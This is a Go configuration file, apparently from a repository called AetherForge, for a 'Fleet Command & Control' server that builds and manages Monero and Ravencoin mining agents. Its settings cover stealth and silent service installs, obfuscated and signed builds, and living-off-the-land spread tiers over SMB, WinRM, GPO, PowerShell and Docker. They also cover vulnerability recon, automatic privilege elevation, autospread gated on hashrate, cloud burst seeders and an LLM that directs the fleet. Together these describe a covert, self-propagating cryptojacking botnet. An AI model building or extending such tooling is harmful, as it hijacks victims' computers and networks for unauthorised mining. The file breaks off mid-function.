Files
AetherForge/server/config.go
AetherForge 40d46408ea
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.
2026-06-07 10:04:11 -07:00

1166 lines
44 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/erasure"
)
type Config struct {
Port int `json:"port"`
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"`
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
Background BackgroundConfig `json:"background,omitempty"`
Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"`
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
}
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"`
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
}
// ServerSettings controls the locally hosted control server (not baked into miners).
type ServerSettings struct {
PublicURL string `json:"public_url"`
StatsRetentionHours int `json:"stats_retention_hours"`
BuildRetentionDays int `json:"build_retention_days"`
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
MaxAgents int `json:"max_agents"`
MaxBuildSizeMB int `json:"max_build_size_mb"`
LogAgentConnections bool `json:"log_agent_connections"`
LogShareSubmissions bool `json:"log_share_submissions"`
LogPoolTraffic bool `json:"log_pool_traffic"`
StrictWalletValidation bool `json:"strict_wallet_validation"`
DashboardSubtitle string `json:"dashboard_subtitle"`
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
ObfuscateDefault bool `json:"obfuscate_default"`
SignEnabled bool `json:"sign_enabled"`
SignCertThumbprint string `json:"sign_cert_thumbprint"`
SignToolPath string `json:"sign_tool_path"`
SignTimestampURL string `json:"sign_timestamp_url"`
// FleetSecret is a random token generated once on first run and baked into
// every forged agent binary. Agents must present it on connect or be rejected.
FleetSecret string `json:"fleet_secret"`
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
PublicBuildsEnabled bool `json:"public_builds_enabled"`
PublicBuildsLatestN int `json:"public_builds_latest_n"`
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
// agents forged with lotl_policy_from_server (LOTL Onion preset).
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
DNSZone string `json:"dns_zone,omitempty"`
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
// AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only).
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
AIControlEnabled bool `json:"ai_control_enabled"`
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS.
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"`
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
AIEndpoint string `json:"ai_endpoint"`
// AIModel is the LLM model name for fleet AI control (Calibrate).
AIModel string `json:"ai_model"`
// AINoContext forces stateless single-turn decisions (no conversation memory).
AINoContext bool `json:"ai_no_context"`
// AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60).
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
// AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode).
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
AIPersona string `json:"ai_persona,omitempty"`
// FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints.
FleetRolesEnabled bool `json:"fleet_roles_enabled"`
// HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread.
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
// ErasureLanesEnabled attaches ReedSolomon multi-lane shard metadata to signed deploy plans.
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"`
AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"`
AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"`
AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"`
AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"`
AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"`
AWSAccountID string `json:"aws_account_id,omitempty"`
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
CloudMapService string `json:"cloud_map_service,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
type WebRTCMeshPolicySettings struct {
Enabled bool `json:"enabled,omitempty"`
STUNServers []string `json:"stun_servers,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
}
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"`
Priority int `json:"priority,omitempty"`
Template string `json:"template,omitempty"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
type PoolEndpoint struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
}
type PoolConfig struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
}
type WalletConfig struct {
Address string `json:"address"`
PaymentID string `json:"payment_id"`
}
type AgentDefaults struct {
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
ProcessName string `json:"process_name"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
}
type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
}
type AlertsConfig struct {
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
WebhookURL string `json:"webhook_url"`
// Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
NotifyAgentOffline bool `json:"notify_agent_offline"`
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"`
NotifyKEVExposure bool `json:"notify_kev_exposure"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
SMTPUser string `json:"smtp_user"`
SMTPPassword string `json:"smtp_password"`
EmailTo string `json:"email_to"`
EmailFrom string `json:"email_from"`
}
func DefaultConfig() *Config {
return &Config{
Port: 8989,
DataDir: "data",
Pool: PoolConfig{
Host: "pool.supportxmr.com",
Port: 443,
UseTLS: true,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
},
},
Wallet: WalletConfig{
Address: "",
PaymentID: "",
},
RvnPool: PoolConfig{
Host: "rvn.2miners.com",
Port: 6060,
UseTLS: false,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
},
},
RvnWallet: WalletConfig{
Address: "",
},
DefaultAgent: AgentDefaults{
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal",
MaxCPUUsagePct: 80,
MaxMemoryPct: 70,
MinFreeRAMMB: 1024,
MiningMode: "always",
DisplayMode: "background",
ProcessName: "",
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
},
Alerts: AlertsConfig{
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
NotifyAgentConnect: true,
NotifyAgentReconnect: true,
NotifyAgentOffline: true,
NotifyHashrateDrop: true,
NotifyRejectionRate: true,
NotifyBuildComplete: true,
NotifyKEVExposure: true,
},
Server: ServerSettings{
PublicURL: "",
StatsRetentionHours: 168,
BuildRetentionDays: 30,
PoolReconnectSeconds: 30,
WebSocketPingSeconds: 30,
MaxAgents: 256,
MaxBuildSizeMB: 150,
LogAgentConnections: true,
LogShareSubmissions: false,
LogPoolTraffic: false,
StrictWalletValidation: false,
DashboardSubtitle: "Fleet Command & Control",
OpenFirewallOnStart: true,
ObfuscateDefault: false,
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
PublicBuildsLatestN: 3,
LotlOnionTiers: []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
},
DNSZone: "internal",
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
Enabled: false,
STUNServers: []string{"stun:stun.l.google.com:19302"},
RotationHours: 24,
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
AdaptiveStrategyEnabled: true,
AIControlEnabled: false,
AIEndpoint: "http://127.0.0.1:11434/v1",
AIModel: "",
AINoContext: true,
AIDecisionIntervalSec: 60,
AIAutoElevateClearance: true,
AIPersona: "balanced",
FleetRolesEnabled: false,
},
}
}
func LoadConfig() *Config {
cfg := DefaultConfig()
port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory")
cliPortExplicit := false
flag.Parse()
flag.Visit(func(f *flag.Flag) {
if f.Name == "port" {
cliPortExplicit = true
}
})
cliPort := *port
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
if cliPortExplicit {
cfg.Port = cliPort
} else {
cfg.Port = cliPort
}
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
} else {
// Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
hydrateLegacyAIConfig(cfg, data)
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
if !strings.Contains(string(data), `"notify_agent_connect"`) {
cfg.Alerts.NotifyAgentConnect = true
cfg.Alerts.NotifyAgentReconnect = true
cfg.Alerts.NotifyAgentOffline = true
cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true
cfg.Alerts.NotifyKEVExposure = true
}
}
}
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
if cliPortExplicit {
cfg.Port = cliPort
}
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
hydrateCloudflareTokenFromFile(cfg)
return cfg
}
const cloudflaredTokenFile = "cloudflared-token.txt"
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
func (c *Config) ConnectorToken() string {
if c == nil {
return ""
}
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
return t
}
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
return t
}
if c.DataDir != "" {
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
if t := strings.TrimSpace(string(data)); t != "" {
return t
}
}
}
return ""
}
func hydrateCloudflareTokenFromFile(cfg *Config) {
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
return
}
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
if err != nil {
return
}
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
}
func (c *Config) syncCloudflaredTokenFile() {
if c == nil || c.DataDir == "" {
return
}
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
if tok == "" {
return
}
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
}
// AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings {
if c == nil {
return alerts.Settings{}
}
return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID,
WebhookURL: c.Alerts.WebhookURL,
EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort,
SMTPUser: c.Alerts.SMTPUser,
SMTPPassword: c.Alerts.SMTPPassword,
EmailTo: c.Alerts.EmailTo,
EmailFrom: c.Alerts.EmailFrom,
}, alerts.EventToggles{
AgentConnect: c.Alerts.NotifyAgentConnect,
AgentReconnect: c.Alerts.NotifyAgentReconnect,
AgentOffline: c.Alerts.NotifyAgentOffline,
HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete,
KEVExposure: c.Alerts.NotifyKEVExposure,
})
}
// mergeConfig is the legacy unconditional merge used only as a fallback when no
// field-presence map is available (i.e. never during API PUT). Boolean fields such
// as UseTLS are blindly copied from src, meaning a zero-value src resets them to
// false. Prefer mergeConfigExplicit for all partial-update paths — it only applies
// a field when that key was explicitly present in the JSON payload.
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
}
if src.DataDir != "" {
dst.DataDir = src.DataDir
}
if src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
dst.Pool.UseTLS = src.Pool.UseTLS
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if len(src.Pool.BackupPools) > 0 {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
if src.RvnPool.Host != "" {
dst.RvnPool.Host = src.RvnPool.Host
}
if src.RvnPool.Port != 0 {
dst.RvnPool.Port = src.RvnPool.Port
}
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
if src.RvnPool.Password != "" {
dst.RvnPool.Password = src.RvnPool.Password
}
if len(src.RvnPool.BackupPools) > 0 {
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
}
if src.RvnWallet.Address != "" {
dst.RvnWallet.Address = src.RvnWallet.Address
}
if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
if src.Server.PublicURL != "" {
dst.Server.PublicURL = src.Server.PublicURL
}
if src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
if src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
dst.Server.SignEnabled = src.Server.SignEnabled
if src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
if src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if src.TunnelDefaults.CloudflaredTargetURL != "" {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if src.TunnelDefaults.CloudflareTunnelToken != "" {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
if present == nil {
return nil
}
raw, ok := present[section]
if !ok || len(raw) == 0 {
return nil
}
var nested map[string]json.RawMessage
if err := json.Unmarshal(raw, &nested); err != nil {
return nil
}
return nested
}
// mergeConfigExplicit is like mergeConfig but only applies fields when the
// corresponding JSON key was explicitly present in the PUT payload.
// Top-level absence preserves existing values (H14); nested absence within a
// section preserves sibling fields (partial PUT / import shallow-merge fix).
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if present == nil {
// Fall back to old behaviour if we have no key presence info
mergeConfig(dst, src)
return
}
has := func(key string) bool { _, ok := present[key]; return ok }
in := func(section map[string]json.RawMessage, key string) bool {
if section == nil {
return false
}
_, ok := section[key]
return ok
}
// Non-boolean scalar fields — safe to use zero-value guard
if has("port") && src.Port != 0 {
dst.Port = src.Port
}
if has("data_dir") && src.DataDir != "" {
dst.DataDir = src.DataDir
}
if has("pool") {
poolKeys := nestedJSONKeys(present, "pool")
if in(poolKeys, "host") && src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if in(poolKeys, "port") && src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
if in(poolKeys, "use_tls") {
dst.Pool.UseTLS = src.Pool.UseTLS
}
if in(poolKeys, "password") && src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if in(poolKeys, "backup_pools") {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
}
if has("wallet") {
walletKeys := nestedJSONKeys(present, "wallet")
if in(walletKeys, "address") && src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
}
if has("rvn_pool") {
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
dst.RvnPool.Host = src.RvnPool.Host
}
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
dst.RvnPool.Port = src.RvnPool.Port
}
if in(rvnPoolKeys, "use_tls") {
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
}
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
dst.RvnPool.Password = src.RvnPool.Password
}
if in(rvnPoolKeys, "backup_pools") {
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
}
}
if has("rvn_wallet") {
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
dst.RvnWallet.Address = src.RvnWallet.Address
}
}
// The JSON struct tag is "default_agent_config" — must match exactly.
if has("default_agent_config") {
daKeys := nestedJSONKeys(present, "default_agent_config")
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
